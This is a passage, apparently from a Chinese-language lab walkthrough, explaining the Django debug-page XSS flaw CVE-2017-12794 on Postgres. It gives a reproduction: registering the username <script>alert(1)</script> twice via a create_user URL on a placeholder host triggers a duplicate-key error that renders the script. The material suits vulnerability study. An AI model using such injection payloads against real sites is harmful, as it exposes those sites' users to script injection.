Django debug page XSS漏洞(CVE-2017-12794)
在使用Postgres数据库并触发异常的时候,psycopg2会将字段名和字段值全部抛出。那么,如果字段值中包含我们可控的字符串,又由于0x02中说到的,这个字符串其实就会被设置成__cause__
,最后被显示在页面中。
所以我们假设有如下场景:
- 用户注册页面,未检查用户名
- 注册一个用户名为
<script>alert(1)</script>
的用户 - 再次注册一个用户名为
<script>alert(1)</script>
的用户 - 触发duplicate key异常,导致XSS漏洞
访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>
创建一个用户,成功;再次访问http://your-ip:8000/create_user/?username=<script>alert(1)</script>
,触发异常:
可见,Postgres抛出的异常为
1 | duplicate key value violates unique constraint "xss_user_username_key" |
这个异常被拼接进The above exception () was the direct cause of the following exception
,最后触发XSS。